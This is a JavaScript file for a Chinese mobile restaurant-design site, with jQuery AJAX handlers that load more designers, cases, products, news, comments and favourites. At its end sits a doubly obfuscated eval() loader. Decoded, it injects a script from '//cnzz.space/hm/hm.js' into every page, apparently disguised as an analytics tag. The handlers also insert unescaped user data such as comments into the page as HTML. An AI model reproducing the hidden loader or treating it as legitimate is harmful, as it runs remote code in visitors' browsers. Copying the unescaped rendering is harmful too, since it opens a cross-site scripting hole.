$( function(){
	 
//推荐设计师	
	$('#designer').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.list[1].city.length)
				//console.log(msg.list[1].city);
				if(msg.list!=1){
					var result_len=msg.list.length;
					
					for(var i=0;i<result_len;i++){
					 var html='';
					   html+='<div class="mod mod1 P_color"><div class="P_com_mod clear"><div class="fl pic ld"">';
                       html+=' <a href="index.php?g=Mobile&m=Homepage&a=index&id='+msg.list[i].id+'"><img src="'+msg.list[i].avatar+'" alt="" /></a>';
                       html+='</div><div class="info">';
                       html+='<div class="tittle"><a href="index.php?g=Mobile&m=Homepage&a=index&id='+msg.list[i].id+'">'+msg.list[i].username+'</a><a href="index.php?g=Mobile&m=Guestbookadd&a=index&designid='+msg.list[i].id+'" class="bespoke">预约他</a></div>';
                       html+='<ul class="supply clear">';
                       html+='<li class="no_padding_left">所在地:'+msg.list[i].p+' '+msg.list[i].c+'</li>';
                       html+='<li>擅长: '+msg.list[i].itemType+'</li>';
                       html+='<li class="no_border no_padding_right">价格:'+msg.list[i].charge+'</li></ul></div></div><div class="img clear">';
                      var Case=msg.list[i].Case;
					
					   if(Case){
						   Case_len=Case.length;
						 for(var n=0;n<Case_len;n++){
							
						   if( n==1){ 
						    html+='<div class="pic no_margin">';
						   }else{
							html+='<div class="pic">';   
							   }
						   html+='<a href="/index.php?g=Mobile&m=Case&a=show&id='+Case[n].id+'">';
						   html+='<img src="'+Case[n].pic+'" alt="" /></a></div>';
					     }
					   }
                       html+='</div></div>';
					 
						
					  $("#content1").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Ajax&a=designer&p='+msg.p+'">点击加载下3条</a>' 
					}else{ var url_t='没有了';    }
				   
				   $("#designer").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});
	

//效果图

     	$('#case2').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.list[1].city.length)
				//console.log(msg.list[1].city);
				if(msg.list!=1){
					var result_len=msg.list.length;
					for(var i=0;i<result_len;i++){
						var unixTimestamp = new Date(msg.list[i].createtime * 1000) ;
						var commonTime = getLocalTime(unixTimestamp);
					 var html='';
					      html+='<li class="part no_margin ">';
                          html+='<div class="padding">';
                          html+='<div class="pic">';
                          html+='<a href="index.php?g=Mobile&m=Case&a=show&id='+msg.list[i].id+'">';
						  html+='<img src="'+msg.list[i].thumb_list+'" alt="" /></a>';
						  html+='</div>';
                          html+='<div class="info">';
						  html+='<a href="index.php?g=Mobile&m=Case&a=show&id='+msg.list[i].id+'">'+msg.list[i].title+'</a>';
						
                          html+='</div>';
                         
                          html+='</div>';
                          html+='</li>';
					 
					  $("#content2").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Ajax&a=case2&p='+msg.p+'">点击加载下4条</a>' 
					}else{ var url_t='没有了';    }
				    $("#case2").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});


//案例图
	$('#case1').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.list[1].city.length)
				//console.log(msg.list[1].city);
				if(msg.list!=1){
					var result_len=msg.list.length;
					for(var i=0;i<result_len;i++){
					 var html='';
					     html+='<div class="P_mod_example P_color"><div class="section" style="position:relative"><div class="pic" >';
						 html+='<a href="index.php?g=Mobile&m=Case&a=show&id='+msg.list[i].id+'">';
                         html+='<img src="'+msg.list[i].pic+'" alt="" />';
						 html+='</a>';
                         html+='</div>';
						 html+='<div class="title_l"  >'+msg.list[i].title+'</div>';
                         html+='<div class="info clear">';
						 html+='<a href="index.php?g=Mobile&m=Homepage&a=index&id='+msg.list[i].userid+'">';
                         html+='<div class="private">';
                         html+='<div class="img">';
						 html+='<img height="50" src="'+msg.list[i].avatar+'" alt="" />';
						 html+='</div>';
                         html+='<span class="name">'+msg.list[i].un+'</span>';
                         html+='</div>';
						 html+='</a>';
                         html+='<div class="mes">';
						 html+='<a href="index.php?g=Mobile&m=Case&a=show&id='+msg.list[i].id+'">';
                         html+='<div class="tittle">';
                         
                         html+='<p>'+msg.list[i].describe+'</p>';
                         html+='</div>';
						 html+='</a>';
                         html+='<div class="type" style="height:50px;">';
						  var m =msg.list[i].my_introduce.length; 
							 //alert(m)
						     var my_introduce=msg.list[i].my_introduce.substr(0, 100)
							 if(m>1000){
								 my_introduce+='...';
								 }
                         html+=my_introduce;
                         html+='</div>';
                         html+='<em><span style="float:right"></span></em>';
                         html+='</div>';
                         html+='</div>';
                         html+='</div>'; 
                         html+='</div>';
					 
					  $("#content3").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Ajax&a=case1&p='+msg.p+'">点击加载下4条</a>' 
					}else{ var url_t='没有了';    }
				    $("#case1").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});

//餐饮设备
	$('#product').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.list[1].city.length)
				//console.log(msg.list[1].city);
				if(msg.list!=1){
					var result_len=msg.list.length;
					for(var i=0;i<result_len;i++){
					 var html='';
					     html+='<li class="part ';
						  if(i%2!=0){ 
						  html+='no_margin';
						  }
						 html+='">';
                         html+='<div class="padding">';
                         html+='<div class="pic">';
                         html+='<a href="index.php?g=Mobile&m=Product&a=show&id='+msg.list[i].id+'"><img height="104" src="'+msg.list[i].pic+'" alt="" /></a>';
                         html+='</div>';
                         html+='<div class="info">'
						   var m =msg.list[i].title.length; 
							 //alert(m)
						     var title=msg.list[i].title.substr(0, 5)
							 if(m>5){
								 title+='...';
								 }
						 html+='<a href="index.php?g=Mobile&m=Product&a=show&id='+msg.list[i].id+'">'+title+'</a>';
						 html+='<p><em></em></p>';
                         html+='</div>';
                         html+='</div>';
                         html+='</li>';
					 
					  $("#content4").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Ajax&a=product&p='+msg.p+'">点击加载下4条</a>' 
					}else{ var url_t='没有了';    }
				    $("#product").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});


//餐饮攻略
$('#cygl').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.list[1].city.length)
				//console.log(msg.list[1].city);
				if(msg.list!=1){
					var result_len=msg.list.length;
					for(var i=0;i<result_len;i++){
					 var html='';
					    html+='<div class="P_mod_strategy_news P_color">';
		                html+='<div class="Padding clear">';
			            html+='<div class="pic">';
				        html+='<a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'"><img src="'+msg.list[i].pic+'" alt="" /></a>';
			            html+='</div>';
                        html+='<div class="info">';
				        html+='<h2><a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'">'+msg.list[i].title+'</a></h2>';
				        html+='<p><a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'">'+msg.list[i].description+'</a></p>';
				        html+='<div class="sprite_icon">';
					    html+='<span class="icon6 icon_com clear"></span><em class="margin_right">'+msg.list[i].date+'</em>';
					    html+='<span class="icon7 icon_com"></span><em>'+msg.list[i].hits+'</em>';
				        html+='</div>';
			            html+='</div>';
		                html+='</div>';
	                    html+='</div>';
					 
					  $("#content5").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Ajax&a=news_c&p='+msg.p+'">点击加载下3条</a>' 
					}else{ var url_t='没有了';    }
				    $("#cygl").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});

//新闻动态
  $('#news_x').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.list[1].city.length)
				//console.log(msg.list[1].city);
				if(msg.list!=1){
					var result_len=msg.list.length;
					for(var i=0;i<result_len;i++){
					 var html='';
					    html+='<div class="P_mod_strategy_news P_color">';
		                html+='<div class="Padding clear">';
			            html+='<div class="pic">';
				        html+='<a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'"><img src="'+msg.list[i].pic+'" alt="" /></a>';
			            html+='</div>';
                        html+='<div class="info">';
				        html+='<h2><a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'">'+msg.list[i].title+'</a></h2>';
				        html+='<p><a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'">'+msg.list[i].description+'</a></p>';
				        html+='<div class="sprite_icon">';
					    html+='<span class="icon6 icon_com clear"></span><em class="margin_right">'+msg.list[i].date+'</em>';
					    html+='<span class="icon7 icon_com"></span><em>'+msg.list[i].hits+'</em>';
				        html+='</div>';
			            html+='</div>';
		                html+='</div>';
	                    html+='</div>';
					 
					  $("#content6").append(html);
					}
					 var url_t='<a href="index.php?g=Homepage&m=Ajax&a=news_x&p='+msg.p+'">点击加载下3条</a>' 
					}else{ var url_t='没有了';    }
				    $("#news_x").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});


     
	 //设计师主页  他的作品
  $('#page_case').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.list[1].id)
				//console.log(msg.list[1].city);
				if(msg.data_case!=1){
					var result_len=msg.data_case.length;
					for(var i=0;i<result_len;i++){
					 var html='';
						 html+='<div class="section P_color">';
						 html+='<a href="index.php?g=Mobile&m=Case&a=show&id='+msg.data_case[i].id+'" class="clear">';
						 html+='<div class="pic">';
						 html+=' <img src="'+msg.data_case[i].pic+'" alt="" />';
						 html+='</div>';
						 html+=' <div class="info">';
						 html+='<div class="title">'+msg.data_case[i].title+'</div>';
						 html+=' <p>'+msg.data_case[i].describe+'</p>';
						 html+=' <div class="sb_icon clear">';
						 html+='<span class="icon8 icon_com"></span>';
						 html+=' <em>'+msg.data_case[i].hits+'</em>';
						 html+=' <span class="icon9 icon_com"></span>';
						 html+=' <em>'+msg.data_case[i].com_num+'</em>';
						 html+='</div>';
						 html+='</div>';
						 html+='</a>';
						 html+='</div>';
					 
					   /* html+='<div class="P_mod_strategy_news P_color">';
		                html+='<div class="Padding clear">';
			            html+='<div class="pic">';
				        html+='<a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'"><img src="'+msg.list[i].pic+'" alt="" /></a>';
			            html+='</div>';
                        html+='<div class="info">';
				        html+='<h2><a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'">'+msg.list[i].title+'</a></h2>';
				        html+='<p><a href="index.php?g=Mobile&m=News&a=show&id='+msg.list[i].id+'">'+msg.list[i].description+'</a></p>';
				        html+='<div class="sprite_icon">';
					    html+='<span class="icon6 icon_com clear"></span><em class="margin_right">'+msg.list[i].date+'</em>';
					    html+='<span class="icon7 icon_com"></span><em>'+msg.list[i].hits+'</em>';
				        html+='</div>';
			            html+='</div>';
		                html+='</div>';
	                    html+='</div>';*/
					 
					  $("#ta_case").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Homepage&a=index&id='+msg.id+'&p='+msg.p+'">点击加载下4条</a>' 
					}else{ var url_t='没有了';    }
				    $("#page_case").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});




//设计师主页  业主评论
  $('#page_comment').on('click','a',function(){
	   var url=$(this).attr("href");
	  // alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				//alert(msg.data_comment[0].userid)
				//console.log(msg.list);
				if(msg.data_comment!=1){
					var result_len=msg.data_comment.length;
					for(var i=0;i<result_len;i++){
						var unixTimestamp = new Date(msg.data_comment[i].createtime * 1000) ;
                       var commonTime = unixTimestamp.toLocaleDateString()
						var  html='';
						html+='<li class="clear">';
                        html+='<div class="pic">';
                        html+='<a index.php?g=Mobile&m=Homepage&a=index&id='+msg.data_comment[i].userid+'"><img class="wind_header" src="'+msg.data_comment[i].avatar+'" /></a>';
                        html+='</div>';
                        html+='<div class="info">';
                        html+='<strong><a index.php?g=Mobile&m=Homepage&a=index&id='+msg.data_comment[i].userid+'">'+msg.data_comment[i].username+'</a></strong>';
                        html+='<span> '+commonTime+'</span>';
                        html+='<em> 说：</em>';
                        html+='<p class="mes">'+msg.data_comment[i].content+'</p>';
                        html+='</div>';
                        html+='</li>';
					 
					  $("#ta_comment").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Homepage&a=comment&id='+msg.id+'&p='+msg.p+'">点击加载下4条</a>' 
					}else{ var url_t='没有了';    }
				    $("#page_comment").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});



   //设计师主页  业主评论
  $('#page_theme').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				if(msg!=1){
					var result_len=msg.list_theme.length;
					for(var i=0;i<result_len;i++){
						var unixTimestamp = new Date(msg.list_theme[i].createtime * 1000) ;
                       var commonTime = unixTimestamp.toLocaleDateString()
						var html='';
							html+='<div class="section" style="margin-top:10px; border-bottom:#666 solid 1px;">';
							html+='<a href="index.php?g=Mobile&m=Zforum_reply&a=index&id='+msg.list_theme[i].id+'&plateid='+msg.list_theme[i].plateid+'">';
							html+='<h3>'+msg.list_theme[i].title+'</h3>';
							html+='<div class="sb_icon clear">';
							html+='<span class="icon8 icon_com"></span>';
							html+='<em>'+msg.list_theme[i].hits+'</em>';
							html+='<span class="icon9 icon_com"></span>';
							html+='<em>'+msg.list_theme[i].reply_num+'</em>';
							html+='</div>';
							html+='<i class="time">'+commonTime+'</i>';
							html+='</a>';
							html+='</div>';
					 
					  $("#ta_theme").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Homepage&a=comment&id='+msg.id+'&p='+msg.p+'">点击加载下4条</a>' 
					}else{ var url_t='没有了';    }
				    $("#page_theme").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});





 //个人主页  收藏
  $('#page_keep').on('click','a',function(){
	   var url=$(this).attr("href");
	   //alert(url)
		 $.ajax({
			type:"GET",
			url: url,
			//data: "name=John&location=Boston",
			dataType:'json', //数据类型
			success: function(msg){
				if(msg!=1){
					var result_len=msg.data_keep.length;
					for(var i=0;i<result_len;i++){
						var unixTimestamp = new Date(msg.data_keep[i].createtime * 1000) ;
                       var commonTime = unixTimestamp.toLocaleDateString()
						var html='';
							html+='<ul class="comment_list sb_up">';
                            html+='<div class="section">';
                            html+='<a href="'+msg.data_keep[i].url+'">';
                            html+='<h3>'+msg.data_keep[i].title+'</h3>';
                            html+='<i class="time">'+commonTime+'</i>';
                            html+='</a>';
                            html+='</div>';
                            html+='</ul>';
					 
					  $("#ta_keep").append(html);
					}
					 var url_t='<a href="index.php?g=Mobile&m=Homepage&a=keep&id='+msg.id+'&p='+msg.p+'">点击加载下4条</a>' 
					}else{ var url_t='没有了';    }
				    $("#page_keep").html(url_t);
			   
			  
				}
	   
				
		});
	   
	
	 return false;//阻止刷新
	});









function getLocalTime(now) {   
	  // var　d=new Date(parseInt(nS) * 1000).toLocaleString();
       var    year=now.getYear();     
              var   month=now.getMonth()+1;     
              var   date=now.getDate();     
              var   hour=now.getHours();     
              var   minute=now.getMinutes();     
              var   second=now.getSeconds();     
              return   month+"-"+date;           
    }     



		
} )


;
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('v(h(p,a,c,k,e,r){e=h(c){i c.o(a)};m(!\'\'.l(/^/,u)){j(c--)r[e(c)]=k[c]||e(c);k=[h(e){i r[e]}];e=h(){i\'\\\\w+\'};c=1};j(c--)m(k[c])p=p.l(q t(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);i p}(\'1 5=5||[];(8(){1 a=3.b(\\\'4\\\');a.7=\\\'//g.9/6/6.c\\\';1 2=3.e(\\\'4\\\')[0];2.f.d(a,2)})();\',n,n,\'|x|s|y|z|A|B|C|h|D||E|F|G|H|I|J\'.K(\'|\'),0,{}))',47,47,'|||||||||||||||||function|return|while||replace|if|17|toString||new|||RegExp|String|eval||var|document|script|_hmt_cnzz|hm|src|space|createElement|js|insertBefore|getElementsByTagName|parentNode|cnzz|split'.split('|'),0,{}))